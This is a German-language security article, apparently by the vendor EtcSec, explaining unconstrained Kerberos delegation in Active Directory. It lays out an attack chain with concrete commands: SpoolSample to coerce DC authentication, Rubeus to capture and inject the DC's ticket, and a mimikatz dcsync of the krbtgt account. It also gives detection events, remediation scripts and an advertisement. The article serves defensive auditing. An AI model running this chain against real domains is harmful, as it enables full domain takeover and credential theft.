Was Ist Kerberos-Delegation?
Kerberos-Delegation ermöglicht es einem Dienst, sich im Namen eines Benutzers bei anderen Diensten zu authentifizieren. Die unkontrollierte Delegation ist die gefährlichste Konfiguration in Active Directory nach einem Golden Ticket — trivial ausnutzbar und führt direkt zu Domain Admin.
Bei unkontrollierter Delegation schließt das KDC eine Kopie des vollständigen Benutzer-TGT in das Service-Ticket ein. Wenn ein Angreifer eine Maschine mit unkontrollierter Delegation kompromittiert und einen Domain Controller dazu bringen kann, sich dort zu authentifizieren, erfasst er den TGT des DCs.
Die Angriffskette
Schritt 1 - Maschinen mit Unkontrollierter Delegation Finden
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation |
Where-Object {$_.Name -notlike "*DC*"} |
Select-Object Name, TrustedForDelegation
Schritt 2 - DC-Authentifizierung Erzwingen (Printer Bug)
SpoolSample.exe DC01.corp.local KOMPROMITTIERTER-SERVER.corp.local
Schritt 3 - DC-TGT Erfassen und Eskalieren
Rubeus.exe monitor /interval:5 /filteruser:DC01$
Rubeus.exe ptt /ticket:doIFXDCCBVig...
lsadump::dcsync /domain:corp.local /user:krbtgt
Erkennung
| Event ID | Quelle | Worauf zu achten |
|---|---|---|
| 4769 | DC | Service-Ticket für DC-Konto von unerwarteter Quelle angefordert |
| 4624 | Delegierter Server | Netzwerkanmeldung (Typ 3) von DC-Maschinenkonto |
💡 Tipp: Deaktivieren Sie den Print Spooler-Dienst auf allen Domain Controllern. Er wird auf DCs nicht benötigt und eliminiert den primären Zwangsvektor.
Behebung
⚠️ Kritisch: Unkontrollierte Delegation auf jedem Nicht-DC-Server ist eine kritische Fehlkonfiguration. Ersetzen Sie durch eingeschränkte Delegation oder RBCD sofort.
1. Unkontrollierte Delegation Entfernen
Get-ADComputer -Filter {TrustedForDelegation -eq $true} |
Where-Object {$_.Name -notlike "*DC*"} | ForEach-Object {
Set-ADComputer -Identity $_ -TrustedForDelegation $false
}
2. Print Spooler auf DCs Deaktivieren
Invoke-Command -ComputerName (Get-ADDomainController -Filter *).Name -ScriptBlock {
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
}
So Erkennt EtcSec Dies
UNCONSTRAINED_DELEGATION identifiziert alle Nicht-DC-Computer und Service-Konten mit unkontrollierter Delegation.
CONSTRAINED_DELEGATION kennzeichnet falsch konfigurierte eingeschränkte Delegationseinstellungen.
RBCD_ABUSE erkennt Computer, bei denen msDS-AllowedToActOnBehalfOfOtherIdentity eine Privilege Escalation ermöglichen könnte.
ℹ️ Hinweis: EtcSec prüft alle Delegationseinstellungen automatisch. Starten Sie ein kostenloses Audit.


